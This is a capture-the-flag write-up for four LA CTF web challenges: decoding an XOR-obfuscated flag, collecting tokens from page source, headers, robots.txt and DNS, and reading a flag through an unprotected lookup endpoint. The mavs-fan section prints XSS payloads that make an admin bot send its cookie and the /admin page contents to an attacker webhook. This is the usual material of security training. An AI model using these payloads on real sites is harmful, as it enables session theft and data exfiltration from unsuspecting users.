# Web
## lucky-flag
After reconnaissance, I found that the `flag` can be obtained in `main.js`
`main.js`
```python=
const $ = q => document.querySelector(q);
const $a = q => document.querySelectorAll(q);
const boxes = $a('.box');
let flagbox = boxes[Math.floor(Math.random() * boxes.length)];
for (const box of boxes) {
if (box === flagbox) {
box.onclick = () => {
let enc = `"\\u000e\\u0003\\u0001\\u0016\\u0004\\u0019\\u0015V\\u0011=\\u000bU=\\u000e\\u0017\\u0001\\t=R\\u0010=\\u0011\\t\\u000bSS\\u001f"`;
for (let i = 0; i < enc.length; ++i) {
try {
enc = JSON.parse(enc);
} catch (e) { }
}
let rw = [];
for (const e of enc) {
rw['\x70us\x68'](e['\x63har\x43ode\x41t'](0) ^ 0x62);
}
const x = rw['\x6dap'](x => String['\x66rom\x43har\x43ode'](x));
alert(`Congrats ${x['\x6aoin']('')}`);
};
flagbox = null;
} else {
box.onclick = () => alert('no flag here');
}
};
```
Accordingly, if clicked correctly, enc will be decrypted by XOR-ing each character with `0x62`
`script`
```python=
import json
enc = '"\\u000e\\u0003\\u0001\\u0016\\u0004\\u0019\\u0015V\\u0011=\\u000bU=\\u000e\\u0017\\u0001\\t=R\\u0010=\\u0011\\t\\u000bSS\\u001f"'
enc = json.loads(enc)
flag = ''.join(chr(ord(c) ^ 0x62) for c in enc)
print(f"Flag: {flag}")
# Flag: lactf{w4s_i7_luck_0r_ski11}
```
## I spy...
In this challenge, we need to find and verify the token step by step and receive the flag at the final step.
`step 1`
```
This token: B218B51749AB9E4C669E4B33122C8AE3
```
`step 2`
```
A token in the HTML source code...
```
use ctrl + U
```
<!-- Token: 66E7AEBA46293C88D484CDAB0E479268 -->
```
`step 3`
```
A token in the JavaScript console...
```
find token in `thingy.js` file
`thingy.js`
```p=
// Token: 9D34859CA6FC9BB8A57DB4F444CDAE83
// You do not need to deobfuscate this code.
function _0x2d52(_0x3116f1, _0x5c1099) {
var _0x15be24 = _0xc9e3();
return (
(_0x2d52 = function (_0x41f528, _0x27c380) {
_0x41f528 = _0x41f528 - (-0x261e + -0x23e0 + -0x121 * -0x43);
var _0x878472 = _0x15be24[_0x41f528];
return _0x878472;
}),
_0x2d52(_0x3116f1, _0x5c1099)
);
}
function _0xc9e3() {
var _0x530cd8 = [
"\x34\x31\x30\x30\x4b\x7a\x73\x6c\x70\x4e",
"\x32\x36\x31\x50\x4d\x48\x64\x48\x51",
"\x37\x30\x32\x34\x31\x30\x5a\x6d\x6a\x4a\x66\x6b",
"\x34\x34\x31\x39\x31\x38\x7a\x77\x4d\x4d\x54\x66",
"\x36\x32\x39\x35\x32\x69\x69\x76\x49\x68\x4b",
"\x34\x44\x41\x45\x46\x38\x41\x44\x36",
"\x33\x30\x32\x36\x37\x33\x72\x74\x57\x6e\x58\x6d",
"\x61\x2d\x74\x6f\x6b\x65\x6e\x3d\x36\x34",
"\x38\x38\x46\x36\x41\x37\x35\x30\x30\x43",
"\x54\x6f\x6b\x65\x6e\x3a\x20\x35\x44\x31",
"\x35\x32\x37\x34\x36\x30\x45\x43\x77\x54\x6d\x56",
"\x31\x35\x31\x46\x31\x37\x30\x37\x46\x32",
"\x31\x38\x31\x30\x39\x36\x6f\x73\x77\x7a\x51\x6a",
"\x6c\x6f\x67",
"\x63\x6f\x6f\x6b\x69\x65",
"\x31\x38\x79\x65\x6d\x53\x77\x76",
"\x39\x39\x69\x55\x44\x4e\x66\x69",
];
_0xc9e3 = function () {
return _0x530cd8;
};
return _0xc9e3();
}
var _0x471dbd = _0x2d52;
(function (_0x53cab2, _0x4d06c8) {
var _0x97c765 = {
_0x5a6c08: 0x1aa,
_0x3ae67c: 0x1ae,
_0x2fc6f8: 0x1b5,
_0x2f6fc0: 0x1b1,
_0x4baccd: 0x1af,
_0x31175d: 0x1ac,
},
_0x7e6301 = _0x2d52,
_0x29f503 = _0x53cab2();
while (!![]) {
try {
var _0x30ffb3 =
(-parseInt(_0x7e6301(_0x97c765._0x5a6c08)) /
(0x1d12 + -0xe13 + -0xefe)) *
(parseInt(_0x7e6301(0x1ab)) / (-0x127c + -0x1229 + 0x24a7)) +
parseInt(_0x7e6301(_0x97c765._0x3ae67c)) /
(-0xe59 + 0xcae * 0x1 + 0x1ae) +
parseInt(_0x7e6301(0x1a6)) / (-0x1 * -0x1532 + 0xaf8 + -0x2 * 0x1013) +
parseInt(_0x7e6301(_0x97c765._0x2fc6f8)) /
(-0xb01 + 0x1603 + -0x1 * 0xafd) +
(parseInt(_0x7e6301(0x1a9)) /
(-0x4 * 0x35c + -0x1f53 + -0x2cc9 * -0x1)) *
(-parseInt(_0x7e6301(_0x97c765._0x2f6fc0)) /
(-0x2563 + 0xfef + -0x27 * -0x8d)) +
(parseInt(_0x7e6301(_0x97c765._0x4baccd)) /
(0x250c + 0xfb5 * -0x2 + -0x2 * 0x2cd)) *
(parseInt(_0x7e6301(_0x97c765._0x31175d)) /
(0x103a + -0x2589 + -0x1 * -0x1558)) +
-parseInt(_0x7e6301(0x1ad)) / (-0x3fd + 0x260b + -0x2204);
if (_0x30ffb3 === _0x4d06c8) break;
else _0x29f503["push"](_0x29f503["shift"]());
} catch (_0x5bc206) {
_0x29f503["push"](_0x29f503["shift"]());
}
}
})(_0xc9e3, 0x37869 + -0x3783d + -0x6f * -0x457),
console[_0x471dbd(0x1a7)](
_0x471dbd(0x1b4) +
"\x46\x39\x38\x42\x43\x45\x45\x35\x31\x35" +
_0x471dbd(0x1b3) +
_0x471dbd(0x1b0),
),
(document[_0x471dbd(0x1a8)] =
_0x471dbd(0x1b2) +
"\x37\x45\x36\x37\x42\x34\x41\x38\x46\x34" +
"\x41\x41\x32\x38\x46\x41\x42\x36\x30\x32" +
_0x471dbd(0x1a5)),
undefined;
// from https://codepen.io/whipcat/pen/ExKPQqZ, converted to normal JS
document.querySelector("body").addEventListener("mousemove", function (event) {
const eyes = document.querySelectorAll(".eye");
eyes.forEach((eye) => {
// Get element position and dimensions
const rect = eye.getBoundingClientRect();
const x = rect.left + rect.width / 2 + window.scrollX;
const y = rect.top + rect.height / 2 + window.scrollY;
const rad = Math.atan2(event.pageX - x, event.pageY - y);
const rot = rad * (180 / Math.PI) * -1 + 180;
// Apply rotation transform
eye.style.transform = `rotate(${rot}deg)`;
});
});
```
However, the code has been `obfuscated`, so we decrypt it [here](https://deobfuscate.relative.im/)
`final`
```p=
console.log('Token: 5D1F98BCEE51588F6A7500C4DAEF8AD6')
document.cookie = 'a-token=647E67B4A8F4AA28FAB602151F1707F2'
undefined
document.querySelector('body').addEventListener('mousemove', function (event) {
const eyes = document.querySelectorAll('.eye')
eyes.forEach((eye) => {
const rect = eye.getBoundingClientRect()
const x = rect.left + rect.width / 2 + window.scrollX
const y = rect.top + rect.height / 2 + window.scrollY
const rad = Math.atan2(event.pageX - x, event.pageY - y)
const rot = rad * (180 / Math.PI) * -1 + 180
eye.style.transform = `rotate(${rot}deg)`
})
})
# use token: 5D1F98BCEE51588F6A7500C4DAEF8AD6 for step 3
```
`step 4`
```
A token in the stylesheet...
```
into `style.css` file
```
/* Token: 29D3065EFED4A6F82F2116DA1784C265 */
```
`step 5`
```
A token in javascript code...
```
it's comment in `thingy.js` file
```
// Token: 9D34859CA6FC9BB8A57DB4F444CDAE83
```
`step 6`
```
A token in a header...
```
open BurpSuite and show it
```
X-Token: BF1E1EAA5C8FDA6D9D0395B6EA075309
```
`step 7`
```
A token in a cookie...
```
into requets header in burpsuite
```
Cookie: a-token=647E67B4A8F4AA28FAB602151F1707F2; stage_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YWx1ZSI6IjI5RDMwNjVFRkVENEE2RjgyRjIxMTZEQTE3ODRDMjY1In0.GdTtEqA2fRKEccEBMfS4TbI2CXcPd-xJbAl3lW1EtFw
```
`step 8`
```
A token where the robots are forbidden from visiting...
```
access `/robots.txt` and after accsess `/a-magical-token.txt`
```
Token: 3FB4C9545A6189DE5DE446D60F82B3AF
```
`step 9`
```
A token where Google is told what pages to visit and index...
```
access `/sitemap.xml`
```
<!-- Token: F1C20B637F1B78A1858A3E62B66C3799 -->
```
`step 10`
```
A token received when making a DELETE request to this page...
```
replace `POST` to `DELETE` method
```
You DELETED MY WEBSITE!!!!! HOW DARE YOU????? 32BFBAEB91EFF980842D9FA19477A42E
```
`step 11`
```
A token in a TXT record at i-spy.chall.lac.tf...
```
use nslookup to see TXT record
```
payload: nslookup -type=TXT i-spy.chall.lac.tf
# final token : 7227E8A26FC305B891065FE0A1D4B7D4
```
`result`
```
A Flag! lactf{1_sp0773d_z_t0k3ns_4v3rywh3r3}
```
## mavs-fan
In this challenge, there is a web server and an admin bot server, so I immediately thought of `XSS`. After reading the description, we see that JavaScript commands cannot be used, so I used a different simple payload
```
<img src=x onerror="alert(1)">
```
Then I tried extracting the content to a webhook but failed until I realized that the `flag` was inside `/admin`
```
<img src=x onerror="fetch('url of webhook'+document.cookie)">
```
And thus, we cannot steal the `admin's cookie`, so I had the `admin bot` extract the content using the following payload
```
<img src=x onerror="fetch('/admin')
.then(r => r.redirected ? r.text() : r.text())
.then(d => fetch('<url of webhook>flag=' + encodeURIComponent(d)))">
```
After sending the payload, I used the URL from that post to send it to the admin bot for verification and finally received the `flag` on the webhook.
## chessbased
For this challenge, we need to focus on `/render` because initially, the `flag` is added to openings, so we can retrieve it via the `id`
```p=
app.get('/render', (req, res) => {
const id = req.query.id;
const op = lookup.get(id);
res.send(`
<p>${op?.name}</p>
<p>${op?.moves}</p>
`);
});
```
```
/render?id=flag
```